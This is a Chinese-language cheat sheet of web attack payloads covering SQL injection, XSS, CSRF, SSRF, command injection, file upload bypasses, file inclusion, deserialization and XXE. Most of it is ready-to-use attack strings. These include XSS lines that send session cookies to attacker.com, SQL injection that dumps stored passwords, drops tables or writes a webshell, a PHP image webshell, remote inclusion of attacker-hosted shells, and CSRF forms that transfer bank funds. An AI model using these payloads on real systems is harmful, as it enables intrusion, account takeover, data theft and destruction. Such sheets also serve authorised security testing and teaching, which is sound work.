1. SQL 注入
| Payload |
说明 |
' |
单引号测试是否报错,判断注入点 |
' and '1'='1 |
字符型注入绕过登录/获取所有数据 |
' and '1'='2 |
对比测试(应无结果) |
' or 1=1 -- |
绕过认证,注释掉后续 SQL |
' and 1=2 union select 1,2,3 -- |
联合查询,判断列数 |
' order by 5 -- |
判断当前查询的列数 |
' and 1=2 union select 1,version(),database() -- |
获取版本和数据库名 |
' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- |
获取当前库的所有表名 |
' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- |
获取指定表的字段名 |
' and 1=2 union select 1,group_concat(username,':',password),3 from users -- |
获取数据 |
' and sleep(5) -- |
时间盲注,判断是否延时 |
' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) -- |
布尔/时间盲注逐字猜解 |
' and extractvalue(1, concat(0x7e, database())) -- |
报错注入,XPATH 错误回显数据 |
' and updatexml(1, concat(0x7e, database()), 1) -- |
报错注入的另一方式 |
' ; drop table users -- |
堆叠注入,删除表(需多语句支持) |
' union select 1,2,3 into outfile '/var/www/html/shell.php' -- |
写 webshell(需文件权限) |
2. XSS(跨站脚本)
通用测试 Payload
| Payload |
说明 |
<script>alert(1)</script> |
基础弹窗测试 |
<img src=x onerror=alert(1)> |
图片错误事件触发 |
<svg onload=alert(1)> |
SVG 加载触发 |
<body onload=alert(1)> |
页面加载触发 |
<input onfocus=alert(1) autofocus> |
自动聚焦触发 |
<a href="javascript:alert(1)">click</a> |
伪协议触发 |
' onmouseover=alert(1) ' |
事件绕过引号闭合 |
"><script>alert(1)</script> |
闭合前边标签 |
</script><script>alert(1)</script> |
闭合 script 标签(针对已有 script) |
<scr<script>ipt>alert(1)</scr</script>ipt> |
绕过简单黑名单 |
窃取 Cookie / 外发数据
| Payload |
说明 |
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> |
发送 Cookie 到远程服务器 |
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> |
通过图片请求外发 |
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> |
重定向外发 |
<script>fetch('https://attacker.com/steal', {method:'POST',body:document.cookie})</script> |
POST 方式外发 |
<script>fetch('//dnslog.cn?c='+btoa(document.cookie))</script> |
使用 DNSLog(需配合子域名) |
<script>new WebSocket('ws://attacker.com:8080?c='+document.cookie)</script> |
WebSocket 外发(绕过部分限制) |
DOM 型 XSS
| Payload |
说明 |
#<img src=x onerror=alert(1)> |
利用 location.hash |
?name=<script>alert(1)</script> |
利用 location.search |
javascript:alert(1) 配合 <a href= 场景 |
闭合 href 属性注入伪协议 |
3. CSRF(跨站请求伪造)
GET 型 CSRF Payload
| Payload / HTML |
说明 |
<img src="https://bank.com/transfer?to=attacker&amount=10000"> |
图片自动加载触发 GET 请求 |
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"> |
隐藏 iframe 触发 |
<link rel="stylesheet" href="https://bank.com/transfer?to=attacker&amount=10000"> |
CSS 加载触发 |
POST 型 CSRF Payload(自动提交表单)
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
POST 型 CSRF(隐藏 iframe 提交)
<iframe name="hiddenFrame" style="display:none"></iframe>
<form action="https://bank.com/transfer" method="POST" target="hiddenFrame">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
AJAX / Fetch CSRF(需 CORS 配置不当)
<script>
fetch('https://bank.com/transfer', {
method: 'POST',
credentials: 'include',
body: 'to=attacker&amount=10000',
headers: {'Content-Type': 'application/x-www-form-urlencoded'}
});
</script>
4. SSRF(服务端请求伪造)
基础测试 Payload
| Payload |
说明 |
http://127.0.0.1 |
本地回环测试 |
http://localhost |
本地主机 |
http://0.0.0.0 |
通配地址 |
http://[::1] |
IPv6 localhost |
http://169.254.169.254/latest/meta-data/ |
云厂商元数据(AWS/阿里云等) |
http://169.254.169.254/latest/user-data/ |
云用户数据 |
内网探测
| Payload |
说明 |
http://192.168.1.1 |
常见内网网关 |
http://10.0.0.1 |
A 类内网 |
http://172.16.0.1 |
B 类内网 |
http://192.168.1.1:22 |
探测 SSH 端口 |
dict://127.0.0.1:6379/INFO |
Redis 未授权访问 |
dict://127.0.0.1:3306 |
MySQL 端口探测 |
http://localhost:8080 |
常见管理端口 |
协议利用
| Payload |
说明 |
file:///etc/passwd |
读本地文件(Linux) |
file:///C:/windows/win.ini |
读本地文件(Windows) |
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a |
构造 Redis 命令(需编码) |
dict://127.0.0.1:11211/ |
Memcached 探测 |
ftp://127.0.0.1:21 |
FTP 被动信息泄露 |
绕过技巧
| Payload |
说明 |
http://0x7f000001 |
127.0.0.1 的十进制 IP 变形 |
http://127.1 |
省略部分地址 |
http://localhost@127.0.0.1 |
使用 @ 绕过域名限制 |
http://attacker.com/redirect.php(302 跳转到内网) |
302 跳转绕过 |
http://127.0.0.1.nip.io |
DNS 重新绑定技术 |
5. 命令注入
带空格绕过
| Payload |
说明 |
${IFS}whoami |
使用 IFS 变量代替空格 |
{cat,/etc/passwd} |
花括号语法 |
cat${IFS}/etc/passwd |
拼接方式 |
DNSLog 盲测
| Payload |
说明 |
ping -c 1 xxx.dnslog.cn |
Linux DNSLog |
nslookup xxx.dnslog.cn |
Windows DNSLog |
curl http://xxx.dnslog.cn |
HTTP DNSLog |
6. 文件上传
绕过后缀
| Payload |
说明 |
shell.php |
直接上传 |
shell.php3 / shell.php5 / shell.phtml |
其他可解析后缀 |
shell.PhP |
大小写绕过 |
shell.php.jpg |
双扩展名(某些配置只检查第一个) |
shell.php%00.jpg |
空字节截断(PHP < 5.3.4) |
shell.asp;.jpg |
IIS 解析漏洞 |
shell.asa / shell.cer |
可解析的 IIS 后缀 |
绕过 Content-Type
| 请求包示例 |
说明 |
Content-Type: image/jpeg |
改成图片类型 |
Content-Type: application/octet-stream |
常见流类型 |
图片马
# 生成图片马(Linux)
copy normal.jpg + shell.php shell_ma.jpg
# Windows
copy /b normal.jpg + shell.php shell_ma.jpg
图片马内容示例:
GIF89a
<?php system($_GET['cmd']); ?>
.htaccess 绕过(Apache)
# .htaccess 内容
AddType application/x-httpd-php .jpg
上传该 .htaccess 后,shell.jpg 会被当作 PHP 执行。
7. 文件包含(LFI / RFI)
本地文件包含(LFI)
| Payload |
说明 |
../../../../etc/passwd |
路径遍历 |
..\..\..\windows\win.ini |
Windows 路径 |
....//....//....//etc/passwd |
双写绕过过滤 |
file:///etc/passwd |
file 协议直接读取 |
php://filter/convert.base64-encode/resource=index.php |
读取源码(Base64 编码) |
php://input + POST <?php system('whoami'); ?> |
执行代码(需 allow_url_include=On) |
data://text/plain,<?php system('whoami'); ?> |
数据外协议执行代码 |
zip://shell.jpg%23shell.php |
读取 zip 内文件(需上传 zip) |
phar://upload.jpg/xxx |
触发反序列化(见反序列化 Payload) |
远程文件包含(RFI)
| Payload |
说明 |
http://attacker.com/shell.txt |
远程包含(需 allow_url_include=On) |
http://attacker.com/shell.php |
直接包含远程 Webshell |
//attacker.com/shell |
简短协议(自动 HTTP) |
日志投毒(Log Poisoning)
- 先访问
?page=<?php system('whoami'); ?>(写入 access.log)
- 再包含
../../../../var/log/apache2/access.log
8. 任意文件下载
| Payload |
说明 |
../../../../etc/passwd |
Linux 敏感文件 |
..\..\..\windows\win.ini |
Windows 敏感文件 |
../../config/database.php |
站点配置文件 |
/etc/passwd |
绝对路径 |
file:///etc/passwd |
协议读取 |
php://filter/convert.base64-encode/resource=index.php |
读取源码(绕过后缀限制) |
C:\Windows\System32\drivers\etc\hosts |
Windows hosts |
../../../../../../var/log/auth.log |
SSH 登录日志 |
9. 反序列化
PHP 基础 Payload
// 构造恶意对象
class Exploit {
public $cmd = "whoami";
}
echo serialize(new Exploit());
// 结果: O:7:"Exploit":1:{s:3:"cmd";s:6:"whoami";}
// 触发命令执行的类
class Shell {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
// Payload: O:5:"Shell":1:{s:3:"cmd";s:6:"whoami";}
Phar 反序列化 Payload(触发点在 file_exists 等函数)
// 生成恶意 phar 文件
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Exploit()); // 恶意对象
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
// 改名为 exploit.jpg 上传
// 触发: file_exists('phar://uploads/exploit.jpg')
Java 反序列化(ysoserial)
# 生成 Java 反序列化 payload(示例,需工具)
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.ser
10. XXE(XML 外部实体注入)
文档中未详细展开,但常见于 Web 安全,补充常用 Payload。
| Payload |
说明 |
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root> |
读取文件 |
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><root>&xxe;</root> |
SSRF 探测 |
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe;]><root>a</root> |
外部 DTD 盲注 |
<!DOCTYPE foo [<!ENTITY % payload SYSTEM "file:///etc/passwd"> %payload;] |
带外数据泄露(需配合 DTD) |